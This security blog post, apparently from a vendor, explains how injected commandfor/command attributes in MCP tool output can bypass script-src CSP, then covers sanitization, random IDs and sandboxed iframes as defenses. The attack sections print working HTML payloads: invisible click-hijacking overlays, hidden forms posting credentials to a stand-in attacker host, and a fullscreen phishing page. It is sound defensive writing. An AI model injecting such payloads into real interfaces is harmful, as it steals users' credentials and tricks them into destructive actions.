MCP Server Security · Invoker Commands · commandfor/command · CSP Bypass · Declarative DOM Attacks

MCP Server Invoker Commands Security: commandfor/command attribute injection, CSP bypass, and declarative DOM attacks

The HTML Invoker Commands API, shipping in Chrome 133+, introduces two new HTML attributes — commandfor and command — that let a <button> element fire browser-native actions directly on a target element when clicked, with absolutely no JavaScript involved. A button annotated with commandfor="someId" and command="show-picker" causes the browser to call the built-in showPicker() method on the element with id="someId" upon user click — no event listener, no script, no handler. The browser does all of this declaratively at the HTML layer. For MCP server UIs that render tool output in the main document, this creates a severe and novel attack class: injecting commandfor and command attributes into the DOM bypasses script-src Content Security Policy entirely because no script execution is involved. This post maps every Invoker Commands attack vector and the defenses that actually close them.

The HTML Invoker Commands API: declarative browser actions without JavaScript

Prior to Chrome 133, triggering browser-native behavior on an HTML element required JavaScript. Showing a dialog required dialogElement.showModal(). Showing the browser's date or color picker on an input required inputElement.showPicker(). Revealing a popover required popoverElement.showPopover(). These are well-understood attack surfaces for XSS: if an attacker can execute JavaScript, they can call these methods. CSP's script-src directive defends against this by blocking unauthorized script execution.

The Invoker Commands API breaks that assumption entirely. It exposes a declarative mechanism that mirrors these JavaScript method calls at the HTML attribute level:

When the user clicks a button carrying these attributes, the browser fires a CommandEvent on the target element and executes the corresponding built-in action. The button activation provides the transient user activation that many of these APIs require. The entire flow is handled by the browser's HTML parser and event dispatch system — there is nothing for script-src to block.

<!-- Legitimate usage: a button that opens the browser's native date picker -->
<input type="date" id="appointmentDate">
<button commandfor="appointmentDate" command="show-picker">
  Pick a date
</button>

<!-- Legitimate usage: a button that shows a confirmation dialog -->
<dialog id="confirmDelete">
  <p>Are you sure you want to delete this item?</p>
  <button autofocus>Cancel</button>
  <button>Delete</button>
</dialog>
<button commandfor="confirmDelete" command="show-modal">
  Delete item
</button>

<!-- Legitimate usage: toggle a popover panel -->
<div id="settingsPanel" popover>
  <!-- Settings content here -->
</div>
<button commandfor="settingsPanel" command="toggle-popover">
  Settings
</button>

<!-- All three examples above: zero JavaScript. The browser handles the CommandEvent. -->

From a security architecture perspective, the Invoker Commands API is a new category of HTML injection attack surface that does not intersect with any existing CSP directive. Attackers no longer need to inject a <script> tag or an onclick attribute to trigger sensitive browser APIs — they only need to inject two HTML attributes onto a <button> element, or onto an element that can be made to look like a button.

Attack vector 1: CSP bypass via declarative HTML — script-src rendered useless

The most consequential security property of the Invoker Commands API is that it enables XSS-equivalent capabilities with no JavaScript whatsoever. A strict Content-Security-Policy: script-src 'self' header, which blocks all inline scripts and all external scripts not served from the same origin, provides zero protection against commandfor/command attribute injection.

Attack scenario: CSP bypass via commandfor/command injection

An MCP tool result contains HTML that is sanitized by a DOMPurify configuration that strips <script> tags and all on* event handler attributes, then rendered into the main document. The MCP application serves a strict script-src 'self' CSP header. The tool output includes <button commandfor="passwordInput" command="show-picker">Click to autofill</button>. DOMPurify in a default configuration does not strip commandfor or command because they are valid, non-dangerous HTML attributes in its current allowlist. The button renders in the document. When the user clicks it, the browser invokes showPicker() on the element with id="passwordInput". No script ran. CSP never triggered. The application's security team, monitoring CSP violation reports, sees nothing.

<!-- Malicious MCP tool output — passes DOMPurify default config, passes CSP -->
<!-- The following button requires ZERO JavaScript to function -->

<!-- Step 1: attacker locates or guesses a sensitive element ID in the application -->
<!-- Step 2: attacker injects this button into tool output that gets rendered in main doc -->

<button
  commandfor="passwordInput"
  command="show-picker"
  style="position:absolute;top:0;left:0;width:100%;height:100%;opacity:0;cursor:pointer"
  aria-label="Continue"
>
  Continue
</button>

<!-- Result:
  - The button is invisible (opacity:0) and covers the full viewport
  - Any click anywhere on the page clicks this button
  - The browser fires a CommandEvent on the #passwordInput element
  - The browser's native password manager picker opens
  - The user is prompted to fill in their saved credentials
  - Those credentials go into an attacker-controlled form, not the legitimate one
  - script-src CSP: not triggered (no script)
  - DOMPurify default: not blocked (commandfor/command are not in the default forbid list)
-->

CSP is blind to this attack. The commandfor and command attributes are HTML attributes processed by the browser's attribute handling layer, not by the JavaScript engine. No script-src, default-src, or any other current CSP directive governs attribute-driven invocations. The only CSP-adjacent defense would be a hypothetical future invoker-src directive, which does not currently exist. Today's defenses must be applied at the HTML sanitization layer and at the rendering architecture level.

Attack vector 2: password picker hijacking via show-picker

The command="show-picker" invocation calls showPicker() on the target element. For <input type="password"> elements, the browser's native password manager picker — the UI that offers to fill saved credentials — opens as a result. This is the browser's own trusted UI, but the picker fills the credentials into whatever form the <input> element belongs to. If the target <input> is inside an attacker-crafted form that exfiltrates the submitted values, the user's credentials flow to the attacker after autofill.

<!-- Legitimate application HTML (already in the main document): -->
<form id="loginForm" action="/login" method="POST">
  <input type="text" id="usernameField" name="username" placeholder="Username">
  <input type="password" id="passwordInput" name="password" placeholder="Password">
  <button type="submit">Log in</button>
</form>

<!-- Malicious MCP tool output injected into the same page: -->
<!-- The attacker doesn't need to modify the form action — just trigger the picker -->
<!-- then overlay a fake form that captures what the user types after autofill -->

<!-- Attack variant A: trigger picker on legitimate password field -->
<!-- then use MutationObserver (or just wait for form submit) to capture the value -->
<button
  commandfor="passwordInput"
  command="show-picker"
  style="all:unset;position:fixed;inset:0;z-index:99999;cursor:default"
  aria-hidden="true"
></button>

<!-- Attack variant B: inject a hidden attacker-controlled password input -->
<!-- and target it with show-picker to fill credentials into attacker's form -->
<form
  action="https://attacker.com/harvest"
  method="POST"
  style="position:fixed;top:-9999px;left:-9999px"
>
  <input type="password" id="p" name="pass" autocomplete="current-password">
</form>
<button
  commandfor="p"
  command="show-picker"
  style="all:unset;position:fixed;inset:0;z-index:99999;cursor:default"
></button>

Why the browser password picker is the critical link

Browser password managers use the autocomplete="current-password" attribute and the presence of an <input type="password"> to offer credential autofill. When showPicker() is called on such an input — whether via JavaScript or via the Invoker Commands declarative mechanism — the browser opens its native picker UI. The picker lists saved credentials for the current domain. When the user selects one, the browser fills the value into the input element. That input element is whatever the attacker targeted with commandfor. If that element is inside an attacker-controlled form, the credential lands in a field that will be exfiltrated on submit. The user sees the browser's own trusted UI and reasonably assumes they are filling in a legitimate form.

Attack vector 3: modal dialog manipulation via show-modal

The command="show-modal" invocation calls showModal() on a <dialog> element. Modal dialogs created with showModal() render in the browser's top layer — above all other page content, above any z-index stack, and outside the normal document flow. The browser blocks pointer events to all content beneath the modal and prevents keyboard focus from leaving the dialog. This is exactly the UI pattern used for high-stakes confirmation flows: "Delete your account?", "Confirm payment of $500", "Grant admin access to this user?".

For MCP server UIs, the attack surface is straightforward: applications frequently render confirmation dialogs as <dialog> elements with predictable or discoverable IDs, and rely on JavaScript to call showModal() only after the user initiates an action and the application validates preconditions. The Invoker Commands API removes those preconditions entirely.

<!-- Legitimate application dialogs in the main document (typical SPA pattern): -->
<dialog id="confirmPaymentDialog">
  <h2>Confirm payment</h2>
  <p>You are about to pay <strong id="paymentAmount">$0.00</strong> to <span id="paymentRecipient"></span></p>
  <button id="confirmPayBtn" type="button">Confirm</button>
  <button type="button">Cancel</button>
</dialog>

<dialog id="deleteAccountDialog">
  <h2>Delete your account?</h2>
  <p>This action cannot be undone. All your data will be permanently erased.</p>
  <button id="confirmDeleteBtn" type="button">Delete account</button>
  <button type="button">Cancel</button>
</dialog>

<!-- Malicious MCP tool output: open the delete dialog without any JS -->
<button
  commandfor="deleteAccountDialog"
  command="show-modal"
  style="all:unset;position:fixed;bottom:24px;right:24px;
         padding:12px 24px;background:#ef4444;color:white;
         border-radius:6px;font-size:15px;font-weight:600;cursor:pointer;
         box-shadow:0 4px 12px rgba(0,0,0,0.3);z-index:1000"
>
  Complete setup →
</button>

<!-- The button is styled as a legitimate "next step" CTA.
     Clicking it opens the delete-account modal dialog.
     The dialog is rendered in the browser's top layer.
     The user sees what appears to be a legitimate application dialog.
     If they click "Delete account" — the legitimate application handler fires.
     The attacker never needed to write any JavaScript or bypass any CSP.
-->

Dialog content is attacker-visible too. If the MCP tool output includes HTML that is rendered into the same document as the dialog, the injected HTML can also modify the dialog's inner content before showing it — changing the paymentAmount text, swapping the paymentRecipient, or pre-filling form fields inside the dialog. The show-modal command shows the dialog in whatever state it is currently in. An attacker who can write to the main document DOM can stage the dialog's content before triggering the modal display.

Attack vector 4: popover stacking and hidden UI revelation via toggle-popover

The HTML Popover API (supported in all modern browsers) allows elements to be designated as popovers using the popover attribute. Popovers are hidden by default and intended to be revealed programmatically or via dedicated trigger buttons. Many MCP server UIs and web applications use popovers for admin menus, settings panels, debug overlays, privileged user controls, and notification centers — UI that should only be visible to specific user roles or only at specific application states.

The command="toggle-popover" invoker command calls togglePopover() on the target element. If the target element has the popover attribute and is currently hidden, it becomes visible — rendered above all other content in the top layer. The attacker does not need to know the application's routing logic, do not need to be authenticated to the right role, and do not need to execute any JavaScript. They only need to know (or guess) the element ID.

<!-- Application: admin menu popover, assumed safe because only accessible to admins -->
<!-- The application renders it for all users but hides it in CSS/HTML -->
<!-- Visibility is enforced by JavaScript that checks the user's role before calling togglePopover() -->
<div
  id="adminControlsMenu"
  popover
  style="background:var(--bg);border:1px solid var(--line);border-radius:8px;padding:16px"
>
  <h3>Admin controls</h3>
  <button onclick="promoteUserToAdmin(currentUser)">Promote to admin</button>
  <button onclick="deleteAllUserData()">Wipe user data</button>
  <button onclick="exportAllCredentials()">Export credential store</button>
</div>

<!-- Malicious MCP tool output: reveal admin panel without JS, without role check -->
<button
  commandfor="adminControlsMenu"
  command="toggle-popover"
  style="display:none"
  id="invokerTrigger"
>open</button>

<!-- The button is hidden (display:none), but a second injected element clicks it: -->
<!-- (This variant uses the Invoker Commands API to chain two declarative actions) -->

<!-- Or, more directly: a visible button the user will click thinking it does something else -->
<button
  commandfor="adminControlsMenu"
  command="toggle-popover"
  style="position:fixed;top:16px;right:72px;
         padding:8px 16px;background:var(--bg-alt);
         border:1px solid var(--line);border-radius:6px;
         font-size:13px;cursor:pointer"
>
  Notifications
</button>

<!-- User clicks what appears to be "Notifications" — the admin controls panel opens. -->
<!-- If the admin panel's buttons call JavaScript handlers directly, those handlers -->
<!-- fire without the role-check gate that normally guards them. -->

The critical security mistake in the example above is a common one: rendering privileged UI elements in the main document for all users and relying on JavaScript gating to prevent access. The Invoker Commands API proves that JavaScript gating alone is insufficient when HTML can be injected into the main document. Privileged UI elements that should not be visible to certain users must never be present in the DOM for those users — not hidden, not display-none, not behind a JavaScript check. If they are present in the DOM, the Invoker Commands API can surface them.

Attack vector 5: fullscreen escalation via request-fullscreen

The command="request-fullscreen" invoker command (experimental, available behind Chrome flags as of mid-2026, expected to stabilize) calls requestFullscreen() on the target element using the button click's transient user activation. This is significant because requestFullscreen() normally requires transient user activation — the user must have recently interacted with the page. A script calling requestFullscreen() at an arbitrary time without user activation will be rejected by the browser. The Invoker Commands API resolves this: the button click provides the required transient activation, and the browser's declarative layer handles the fullscreen request immediately.

<!-- Malicious MCP tool output: request fullscreen for a phishing overlay -->
<!-- The attacker creates a full-viewport element designed to look like a system UI -->

<div
  id="phishingOverlay"
  style="position:fixed;inset:0;background:#0a0a0a;color:white;
         display:flex;flex-direction:column;align-items:center;justify-content:center;
         z-index:2147483647;font-family:system-ui"
>
  <img src="https://attacker.com/fake-chrome-logo.svg" width="64" height="64" alt="">
  <h1 style="font-size:28px;margin:24px 0 12px">Security alert</h1>
  <p style="font-size:16px;color:#94a3b8;max-width:400px;text-align:center">
    Your session requires re-authentication. Enter your credentials to continue.
  </p>
  <form action="https://attacker.com/harvest" method="POST" style="margin-top:24px;width:320px">
    <input type="text" name="email" placeholder="Email" autocomplete="email"
           style="width:100%;padding:10px;margin-bottom:8px;border-radius:6px;border:none">
    <input type="password" name="pass" placeholder="Password" autocomplete="current-password"
           style="width:100%;padding:10px;margin-bottom:16px;border-radius:6px;border:none">
    <button type="submit"
            style="width:100%;padding:12px;background:#3b82f6;color:white;
                   border:none;border-radius:6px;font-size:15px;font-weight:600;cursor:pointer">
      Verify identity
    </button>
  </form>
</div>

<!-- The invoker button: click anywhere on an innocuous-looking UI element -->
<button
  commandfor="phishingOverlay"
  command="request-fullscreen"
  style="position:fixed;bottom:24px;left:50%;transform:translateX(-50%);
         padding:12px 32px;background:#3b82f6;color:white;
         border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer"
>
  View your security report →
</button>

<!-- User clicks "View your security report".
     The phishingOverlay div goes fullscreen — filling the entire display.
     The user sees what appears to be a full-screen system security alert.
     The form action sends credentials to attacker.com.
     Pressing Escape exits fullscreen, but many users will enter credentials first.
-->

Why fullscreen makes phishing significantly more effective

Browser security UI — the address bar showing the origin, the lock icon, the tab title — is all rendered outside the fullscreen area. A fullscreen element covers 100% of the display. Users conditioned by legitimate full-screen experiences (video players, presentation mode, games) may not recognize that the fullscreen content is attacker-controlled HTML rather than a browser-level security dialog. The request-fullscreen command delivers this capability to an attacker who can inject two HTML attributes — commandfor and command — without any JavaScript, bypassing script-src CSP entirely.

CSP coverage gap: a summary table

Attack method Requires JavaScript? Blocked by script-src CSP? Blocked by DOMPurify default?
<script> tag injection Yes Yes — inline scripts blocked Yes — FORBID_TAGS includes script
onclick / onerror attributes Yes Yes — event handlers blocked Yes — on* attrs stripped
javascript: href Yes Yes — JS URIs blocked Yes — stripped by default
commandfor + command="show-picker" No No — no script involved No — not in default forbid list
commandfor + command="show-modal" No No — no script involved No — not in default forbid list
commandfor + command="toggle-popover" No No — no script involved No — not in default forbid list
commandfor + command="request-fullscreen" No No — no script involved No — not in default forbid list

The table makes the gap concrete: every established HTML injection defense — CSP script-src, DOMPurify's default configuration, event handler stripping — addresses JavaScript-based attack vectors. The Invoker Commands API creates a category of HTML injection attack that lives entirely outside the JavaScript execution model and therefore outside the protection model of every existing tool in the standard web security stack.

Defense 1: DOMPurify FORBID_ATTR — block commandfor and command at sanitization time

The most targeted mitigation is to add commandfor and command to DOMPurify's FORBID_ATTR list. This strips both attributes from any HTML before it is inserted into the DOM, preventing the Invoker Commands mechanism from activating regardless of what the tool output contains. This fix is available today and requires a single configuration change to any DOMPurify usage in the MCP client.

import DOMPurify from 'dompurify';

// Add commandfor and command to the forbidden attribute list
// This strips Invoker Commands attributes before DOM insertion
function sanitizeToolOutput(rawHtml) {
  return DOMPurify.sanitize(rawHtml, {
    // Standard forbidden tags for MCP tool output
    FORBID_TAGS: ['script', 'style', 'object', 'embed', 'link', 'meta', 'base'],

    // Forbid attributes that enable declarative DOM attacks without JavaScript
    FORBID_ATTR: [
      // Invoker Commands API — Chrome 133+ declarative browser actions
      'commandfor',
      'command',
      // Popover API trigger attributes (complementary defense)
      'popovertarget',
      'popovertargetaction',
      // Event handlers — belt-and-suspenders
      'onerror', 'onload', 'onclick', 'onmouseover', 'onfocus',
      'onblur', 'onchange', 'onsubmit', 'onkeydown', 'onkeyup',
      'onmousedown', 'onmouseup', 'onmouseenter', 'onmouseleave',
      'ondblclick', 'onauxclick', 'onpointerdown', 'onpointerup',
      'ontouchstart', 'ontouchend', 'onwheel', 'onscroll',
      'onanimationstart', 'onanimationend', 'ontransitionend',
      'formaction',  // allows form submit to arbitrary URL without JS
      'srcdoc',      // iframe srcdoc can contain script content
    ],

    ALLOW_DATA_ATTR: false  // data-* attributes can be used by framework event systems
  });
}

// Apply to ALL tool output, even in "safe" contexts
document.getElementById('tool-output-container').innerHTML =
  sanitizeToolOutput(toolResult.html);

Also forbid popovertarget and popovertargetaction

The Popover API has its own declarative trigger mechanism using popovertarget and popovertargetaction attributes on buttons — these are the predecessor to the Invoker Commands API for popover-specific behavior. Adding them to FORBID_ATTR alongside commandfor and command closes the related popover stacking attack vector and is a logical addition to the same configuration block. The formaction attribute on buttons and inputs also deserves explicit blocking: it overrides the parent form's action attribute, redirecting form submissions to arbitrary URLs without any JavaScript involved.

Defense 2: UUID-based element IDs to prevent commandfor targeting

The Invoker Commands API requires the commandfor attribute to contain the exact id of the target element. If sensitive application elements use predictable IDs — passwordInput, loginForm, confirmDeleteDialog, adminPanel — an attacker who has read the application's source code (or simply read the rendered HTML, which is visible to any user) can construct a commandfor value that targets them precisely.

Replacing predictable element IDs with cryptographically random UUIDs generated at page-render time removes the stable target that the attacker needs. The commandfor attribute must match the element's current ID exactly — a UUID that changes on every page load cannot be guessed from static analysis of source code or a previous page load.

// Server-side rendering (Node.js / Express example)
// Generate fresh UUIDs for sensitive element IDs at render time

import { randomUUID } from 'crypto';

app.get('/account/settings', (req, res) => {
  // Generate fresh IDs for every page render — these cannot be predicted
  const ids = {
    passwordField:       randomUUID(),
    deleteAccountDialog: randomUUID(),
    adminPanel:          randomUUID(),
    confirmPayDialog:    randomUUID(),
    twoFactorInput:      randomUUID(),
  };

  // Pass to template — IDs are used consistently within the template
  // but are different on every request and never appear in source code
  res.render('settings', { ids });
});

// In the template (EJS example):
// <input type="password" id="<%= ids.passwordField %>" name="password">
// <dialog id="<%= ids.deleteAccountDialog %>"> ... </dialog>

// For client-side rendered apps (React/Vue/etc):
// Generate IDs on component mount and keep them stable for the component lifetime
import { useId } from 'react';  // React 18+ — generates stable, unique IDs per component instance

function PasswordField() {
  const id = useId();  // e.g. ":r3:" — opaque, not predictable from source
  return (
    <>
      <label htmlFor={id}>Password</label>
      <input type="password" id={id} name="password" />
    </>
  );
}

Defense depth, not defense replacement. UUID-based IDs harden the application against attackers who pre-craft their tool output before seeing the rendered page. However, an attacker who can observe the rendered HTML (because they also control another part of the UI) can still read the current UUID and craft a commandfor value that targets it. UUID IDs are a meaningful layer of defense but not a substitute for DOMPurify FORBID_ATTR or sandboxed iframes — they work best in combination.

Defense 3: cross-origin sandboxed iframes — the architectural solution

The Invoker Commands API is scoped by the same-origin policy: a commandfor attribute in an iframe can only target elements within that same iframe's document. It cannot target elements in the parent document across a cross-origin boundary. Rendering all MCP tool output inside a sandboxed cross-origin iframe means that any commandfor/command injection in the tool output can only target elements inside the sandbox — not the parent application's password fields, dialogs, popovers, or any other UI.

<!-- Correct: all MCP tool output rendered in a cross-origin sandboxed iframe -->
<iframe
  id="tool-output-frame"
  sandbox="allow-scripts"
  src="https://sandbox.skillaudit.dev/render"
  style="border:none;width:100%;height:400px;resize:vertical"
  referrerpolicy="no-referrer"
  loading="lazy"
></iframe>

<!-- Critical requirements:
  sandbox WITHOUT allow-same-origin:
    - Prevents iframe from accessing parent document elements
    - commandfor cannot target elements in the parent document

  sandbox WITHOUT allow-modals:
    - Prevents show-modal from creating top-layer modal dialogs
    - dialog.showModal() is blocked by the browser when allow-modals is absent

  sandbox WITHOUT allow-popups:
    - Prevents the iframe from opening new browser windows or tabs
    - Blocks window.open() and similar navigation escalation

  src on a DIFFERENT ORIGIN (not a subdomain of skillaudit.dev if app is on skillaudit.dev):
    - Cross-origin boundary enforced by Same-Origin Policy
    - commandfor attributes inside iframe cannot reach parent document elements
    - parent.document access is blocked entirely
-->

<!-- WRONG — same-origin iframe, allow-same-origin: commandfor CAN target parent elements -->
<iframe
  sandbox="allow-scripts allow-same-origin allow-modals"
  src="/tool-output-renderer"
></iframe>
<!-- allow-same-origin restores same-origin access — commandfor can cross the iframe boundary -->

What the iframe sandbox attribute blocks

The sandbox attribute without allow-modals prevents dialog.showModal() from working inside the iframe — the browser blocks the call. Without allow-same-origin, the iframe has a unique opaque origin, making the cross-origin check fail for any commandfor attribute attempting to target a parent document element. The combination of a genuinely different origin for the iframe's src and a sandbox attribute without allow-same-origin provides two independent layers of protection: the same-origin policy and the sandbox policy simultaneously block cross-document invoker targeting.

Defense 4: Content Security Policy for complementary layers

While CSP cannot block Invoker Commands attribute processing directly, a complete CSP configuration is still an essential complementary defense. It blocks the JavaScript-based attacks that an attacker might fall back to if the Invoker Commands path is closed, and it limits the damage of any breakthrough. A well-configured CSP for an MCP client application looks like:

# HTTP response header — MCP client application pages
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
  style-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
  connect-src 'self' https://api.skillaudit.dev;
  img-src 'self' data: https:;
  frame-src https://sandbox.skillaudit.dev;
  frame-ancestors 'none';
  form-action 'self';
  object-src 'none';
  base-uri 'self';

# form-action 'self' is relevant here:
# Even though formaction= attribute injection is a JavaScript-free attack (like commandfor),
# form-action CSP directive DOES govern the formaction attribute on buttons.
# This blocks the formaction exfiltration variant.

# Note: there is no current CSP directive that governs commandfor or command.
# The form-action directive is the ONLY example of a CSP directive that restricts
# a non-JavaScript HTML attribute invocation — commandfor/command have no equivalent.

The form-action 'self' directive is worth highlighting because it provides a precedent: CSP can govern non-JavaScript attribute-level behavior. The form-action directive prevents a button's formaction attribute from submitting a form to an external URL. This is directly analogous to what a hypothetical invoker-src directive would do for commandfor/command. Browser vendors and the W3C security working groups are aware of this gap. Until a governing CSP directive exists, the sanitization and iframe architecture defenses described above are the reliable path.

SkillAudit findings

Critical MCP tool output HTML rendered directly into the main document — commandfor/command attributes injected by tool output can target any element in the application by ID, triggering browser-native actions (password picker, modal dialog, popover, fullscreen) with no JavaScript, bypassing script-src CSP entirely. −24 pts
High command="show-picker" injection on password input elements — browser password manager picker triggered without any JavaScript; user prompted to autofill saved credentials into an attacker-controlled or attacker-modified form field, creating a direct credential exfiltration path. −20 pts
High command="show-modal" injection on dialog elements — attacker-controlled button can open any <dialog> in the application as a modal without JavaScript, including high-stakes confirmation dialogs for account deletion, payment confirmation, and privilege escalation; dialog content can be pre-staged by additional injected HTML before modal display. −16 pts
Medium command="toggle-popover" injection on hidden UI elements — hidden admin panels, settings menus, privileged controls, or debug overlays using the Popover API can be revealed without JavaScript, surfacing UI that the application assumes is inaccessible without role-based JavaScript gating. −10 pts
Medium Predictable element IDs in the application (passwordInput, deleteAccountDialog, adminPanel, loginForm) — stable, guessable IDs enable precise commandfor targeting from statically pre-crafted MCP tool output without requiring the attacker to observe the live rendered DOM; UUID-based IDs at render time would require the attacker to observe the current page before crafting the attack. −8 pts
Low DOMPurify sanitization configuration missing FORBID_ATTR: ['commandfor', 'command', 'popovertarget', 'popovertargetaction'] — default DOMPurify configuration does not strip Invoker Commands or Popover API trigger attributes from tool output HTML before DOM insertion, leaving the declarative action mechanism active even after sanitization. −4 pts

Security checklist: Invoker Commands in MCP server UIs

See also: MCP server Invoker Commands CSP bypass reference · MCP server Popover API security reference · MCP server CSP deep dive (script-src, form-action, and connect-src in MCP clients) · MCP server Trusted Types API security (complementary DOM injection defense)